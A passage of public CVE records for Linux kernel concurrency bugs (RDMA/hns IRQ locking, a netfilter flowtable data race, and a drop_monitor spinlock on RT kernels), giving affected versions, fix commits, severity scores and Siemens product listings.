                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/hns: Fix spin_unlock_irqrestore() called with IRQs enabled\n\nFix missuse of spin_lock_irq()/spin_unlock_irq() when\nspin_lock_irqsave()/spin_lock_irqrestore() was hold.\n\nThis was discovered through the lock debugging, and the corresponding\nlog is as follows:\n\nraw_local_irq_restore() called with IRQs enabled\nWARNING: CPU: 96 PID: 2074 at kernel/locking/irqflag-debug.c:10 warn_bogus_irq_restore+0x30/0x40\n...\nCall trace:\n warn_bogus_irq_restore+0x30/0x40\n _raw_spin_unlock_irqrestore+0x84/0xc8\n add_qp_to_list+0x11c/0x148 [hns_roce_hw_v2]\n hns_roce_create_qp_common.constprop.0+0x240/0x780 [hns_roce_hw_v2]\n hns_roce_create_qp+0x98/0x160 [hns_roce_hw_v2]\n create_qp+0x138/0x258\n ib_create_qp_kernel+0x50/0xe8\n create_mad_qp+0xa8/0x128\n ib_mad_port_open+0x218/0x448\n ib_mad_init_device+0x70/0x1f8\n add_client_context+0xfc/0x220\n enable_device_and_get+0xd0/0x140\n ib_register_device.part.0+0xf4/0x1c8\n ib_register_device+0x34/0x50\n hns_roce_register_device+0x174/0x3d0 [hns_roce_hw_v2]\n hns_roce_init+0xfc/0x2c0 [hns_roce_hw_v2]\n __hns_roce_hw_v2_init_instance+0x7c/0x1d0 [hns_roce_hw_v2]\n hns_roce_hw_v2_init_instance+0x9c/0x180 [hns_roce_hw_v2]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:44.234Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/07f0f643d7e570dbe8ef6f5c3367a43e3086a335"
        },
        {
          "url": "https://git.kernel.org/stable/c/29c0f546d3fd66238b42cf25bcd5f193bb1cf794"
        },
        {
          "url": "https://git.kernel.org/stable/c/425589d4af09c49574bd71ac31f811362a5126c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/094a1821903f33fb91de4b71087773ee16aeb3a0"
        },
        {
          "url": "https://git.kernel.org/stable/c/2656336a84fcb6802f6e6c233f4661891deea24f"
        },
        {
          "url": "https://git.kernel.org/stable/c/a1a3403bb1826c8ec787f0d60c3e7b54f419129e"
        },
        {
          "url": "https://git.kernel.org/stable/c/74d315b5af180220d561684d15897730135733a6"
        }
      ],
      "title": "RDMA/hns: Fix spin_unlock_irqrestore() called with IRQs enabled",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47735",
    "datePublished": "2024-10-21T12:14:05.876Z",
    "dateReserved": "2024-09-30T16:00:12.958Z",
    "dateUpdated": "2026-05-12T11:58:43.063Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35898 (GCVE-0-2024-35898)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

netfilter: nf_tables: Fix potential data-race in __nft_flowtable_type_get()

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: Fix potential data-race in __nft_flowtable_type_get() nft_unregister_flowtable_type() within nf_flow_inet_module_exit() can concurrent with __nft_flowtable_type_get() within nf_tables_newflowtable(). And thhere is not any protection when iterate over nf_tables_flowtables list in __nft_flowtable_type_get(). Therefore, there is pertential data-race of nf_tables_flowtables list entry. Use list_for_each_entry_rcu() to iterate over nf_tables_flowtables list in __nft_flowtable_type_get(), and use rcu_read_lock() in the caller nft_flowtable_type_get() to protect the entire type query process.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/69d1fe14a680042ec…
https://git.kernel.org/stable/c/a347bc8e6251eaee4…
https://git.kernel.org/stable/c/940d41caa71f0d3a5…
https://git.kernel.org/stable/c/2485bcfe05ee3cf9c…
https://git.kernel.org/stable/c/9b5b7708ec2be21dd…
https://git.kernel.org/stable/c/8b891153b2e4dc0ca…
https://git.kernel.org/stable/c/e684b1674fd1ca436…
https://git.kernel.org/stable/c/24225011d81b471ac…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < 69d1fe14a680042ec913f22196b58e2c8ff1b007 (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < a347bc8e6251eaee4b619da28020641eb5b0dd77 (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < 940d41caa71f0d3a52df2fde5fada524a993e331 (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < 2485bcfe05ee3cf9ca8923a94fa2e456924c79c8 (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < 9b5b7708ec2be21dd7ef8ca0e3abe4ae9f3b083b (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < 8b891153b2e4dc0ca9d9dab8f619d49c740813df (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < e684b1674fd1ca4361812a491242ae871d6b2859 (git) Affected: 3b49e2e94e6ebb8b23d0955d9e898254455734f8 , < 24225011d81b471acc0e1e315b7d9905459a6304 (git)
Linux	Linux	Affected: 4.16 Unaffected: 0 , < 4.16 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35898",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-29T18:29:13.616197Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-29T19:40:06.574Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.658Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69d1fe14a680042ec913f22196b58e2c8ff1b007"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a347bc8e6251eaee4b619da28020641eb5b0dd77"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/940d41caa71f0d3a52df2fde5fada524a993e331"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2485bcfe05ee3cf9ca8923a94fa2e456924c79c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9b5b7708ec2be21dd7ef8ca0e3abe4ae9f3b083b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8b891153b2e4dc0ca9d9dab8f619d49c740813df"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e684b1674fd1ca4361812a491242ae871d6b2859"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24225011d81b471acc0e1e315b7d9905459a6304"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:34.280Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "69d1fe14a680042ec913f22196b58e2c8ff1b007",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "a347bc8e6251eaee4b619da28020641eb5b0dd77",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "940d41caa71f0d3a52df2fde5fada524a993e331",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "2485bcfe05ee3cf9ca8923a94fa2e456924c79c8",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "9b5b7708ec2be21dd7ef8ca0e3abe4ae9f3b083b",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "8b891153b2e4dc0ca9d9dab8f619d49c740813df",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "e684b1674fd1ca4361812a491242ae871d6b2859",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            },
            {
              "lessThan": "24225011d81b471acc0e1e315b7d9905459a6304",
              "status": "affected",
              "version": "3b49e2e94e6ebb8b23d0955d9e898254455734f8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.16"
            },
            {
              "lessThan": "4.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: Fix potential data-race in __nft_flowtable_type_get()\n\nnft_unregister_flowtable_type() within nf_flow_inet_module_exit() can\nconcurrent with __nft_flowtable_type_get() within nf_tables_newflowtable().\nAnd thhere is not any protection when iterate over nf_tables_flowtables\nlist in __nft_flowtable_type_get(). Therefore, there is pertential\ndata-race of nf_tables_flowtables list entry.\n\nUse list_for_each_entry_rcu() to iterate over nf_tables_flowtables list\nin __nft_flowtable_type_get(), and use rcu_read_lock() in the caller\nnft_flowtable_type_get() to protect the entire type query process."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:23.282Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/69d1fe14a680042ec913f22196b58e2c8ff1b007"
        },
        {
          "url": "https://git.kernel.org/stable/c/a347bc8e6251eaee4b619da28020641eb5b0dd77"
        },
        {
          "url": "https://git.kernel.org/stable/c/940d41caa71f0d3a52df2fde5fada524a993e331"
        },
        {
          "url": "https://git.kernel.org/stable/c/2485bcfe05ee3cf9ca8923a94fa2e456924c79c8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b5b7708ec2be21dd7ef8ca0e3abe4ae9f3b083b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8b891153b2e4dc0ca9d9dab8f619d49c740813df"
        },
        {
          "url": "https://git.kernel.org/stable/c/e684b1674fd1ca4361812a491242ae871d6b2859"
        },
        {
          "url": "https://git.kernel.org/stable/c/24225011d81b471acc0e1e315b7d9905459a6304"
        }
      ],
      "title": "netfilter: nf_tables: Fix potential data-race in __nft_flowtable_type_get()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35898",
    "datePublished": "2024-05-19T08:34:52.519Z",
    "dateReserved": "2024-05-17T13:50:33.114Z",
    "dateUpdated": "2026-05-12T11:52:34.280Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40980 (GCVE-0-2024-40980)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:56

Title

drop_monitor: replace spin_lock by raw_spin_lock

Summary

In the Linux kernel, the following vulnerability has been resolved: drop_monitor: replace spin_lock by raw_spin_lock trace_drop_common() is called with preemption disabled, and it acquires a spin_lock. This is problematic for RT kernels because spin_locks are sleeping locks in this configuration, which causes the following splat: BUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:48 in_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 449, name: rcuc/47 preempt_count: 1, expected: 0 RCU nest depth: 2, expected: 2 5 locks held by rcuc/47/449: #0: ff1100086ec30a60 ((softirq_ctrl.lock)){+.+.}-{2:2}, at: __local_bh_disable_ip+0x105/0x210 #1: ffffffffb394a280 (rcu_read_lock){....}-{1:2}, at: rt_spin_lock+0xbf/0x130 #2: ffffffffb394a280 (rcu_read_lock){....}-{1:2}, at: __local_bh_disable_ip+0x11c/0x210 #3: ffffffffb394a160 (rcu_callback){....}-{0:0}, at: rcu_do_batch+0x360/0xc70 #4: ff1100086ee07520 (&data->lock){+.+.}-{2:2}, at: trace_drop_common.constprop.0+0xb5/0x290 irq event stamp: 139909 hardirqs last enabled at (139908): [<ffffffffb1df2b33>] _raw_spin_unlock_irqrestore+0x63/0x80 hardirqs last disabled at (139909): [<ffffffffb19bd03d>] trace_drop_common.constprop.0+0x26d/0x290 softirqs last enabled at (139892): [<ffffffffb07a1083>] __local_bh_enable_ip+0x103/0x170 softirqs last disabled at (139898): [<ffffffffb0909b33>] rcu_cpu_kthread+0x93/0x1f0 Preemption disabled at: [<ffffffffb1de786b>] rt_mutex_slowunlock+0xab/0x2e0 CPU: 47 PID: 449 Comm: rcuc/47 Not tainted 6.9.0-rc2-rt1+ #7 Hardware name: Dell Inc. PowerEdge R650/0Y2G81, BIOS 1.6.5 04/15/2022 Call Trace: <TASK> dump_stack_lvl+0x8c/0xd0 dump_stack+0x14/0x20 __might_resched+0x21e/0x2f0 rt_spin_lock+0x5e/0x130 ? trace_drop_common.constprop.0+0xb5/0x290 ? skb_queue_purge_reason.part.0+0x1bf/0x230 trace_drop_common.constprop.0+0xb5/0x290 ? preempt_count_sub+0x1c/0xd0 ? _raw_spin_unlock_irqrestore+0x4a/0x80 ? __pfx_trace_drop_common.constprop.0+0x10/0x10 ? rt_mutex_slowunlock+0x26a/0x2e0 ? skb_queue_purge_reason.part.0+0x1bf/0x230 ? __pfx_rt_mutex_slowunlock+0x10/0x10 ? skb_queue_purge_reason.part.0+0x1bf/0x230 trace_kfree_skb_hit+0x15/0x20 trace_kfree_skb+0xe9/0x150 kfree_skb_reason+0x7b/0x110 skb_queue_purge_reason.part.0+0x1bf/0x230 ? __pfx_skb_queue_purge_reason.part.0+0x10/0x10 ? mark_lock.part.0+0x8a/0x520 ... trace_drop_common() also disables interrupts, but this is a minor issue because we could easily replace it with a local_lock. Replace the spin_lock with raw_spin_lock to avoid sleeping in atomic context.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/594e47957f3fe0346…
https://git.kernel.org/stable/c/96941f29ebcc1e9cb…
https://git.kernel.org/stable/c/b3722fb6946869355…
https://git.kernel.org/stable/c/f251ccef1d864790e…
https://git.kernel.org/stable/c/76ce2f9125244e170…
https://git.kernel.org/stable/c/07ea878684dfb78a9…
https://git.kernel.org/stable/c/f1e197a665c2148eb…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < 594e47957f3fe034645e6885393ce96c12286334 (git) Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < 96941f29ebcc1e9cbf570dc903f30374909562f5 (git) Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < b3722fb69468693555f531cddda5c30444726dac (git) Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < f251ccef1d864790e5253386e95544420b7cd8f3 (git) Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < 76ce2f9125244e1708d29c1d3f9d1d50b347bda0 (git) Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < 07ea878684dfb78a9d4f564c39d07e855a9e242e (git) Affected: 4ea7e38696c7e798c47ebbecadfd392f23f814f9 , < f1e197a665c2148ebc25fe09c53689e60afea195 (git)
Linux	Linux	Affected: 2.6.31 Unaffected: 0 , < 2.6.31 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:44.987Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/594e47957f3fe034645e6885393ce96c12286334"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/96941f29ebcc1e9cbf570dc903f30374909562f5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b3722fb69468693555f531cddda5c30444726dac"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f251ccef1d864790e5253386e95544420b7cd8f3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/76ce2f9125244e1708d29c1d3f9d1d50b347bda0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07ea878684dfb78a9d4f564c39d07e855a9e242e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f1e197a665c2148ebc25fe09c53689e60afea195"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40980",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:02:23.500077Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:21.510Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:03.129Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/drop_monitor.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "594e47957f3fe034645e6885393ce96c12286334",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            },
            {
              "lessThan": "96941f29ebcc1e9cbf570dc903f30374909562f5",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            },
            {
              "lessThan": "b3722fb69468693555f531cddda5c30444726dac",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            },
            {
              "lessThan": "f251ccef1d864790e5253386e95544420b7cd8f3",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            },
            {
              "lessThan": "76ce2f9125244e1708d29c1d3f9d1d50b347bda0",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            },
            {
              "lessThan": "07ea878684dfb78a9d4f564c39d07e855a9e242e",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            },
            {
              "lessThan": "f1e197a665c2148ebc25fe09c53689e60afea195",
              "status": "affected",
              "version": "4ea7e38696c7e798c47ebbecadfd392f23f814f9",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/drop_monitor.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.31"
            },
            {
              "lessThan": "2.6.31",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.31",
                  "vulnerable": true
                },
                {
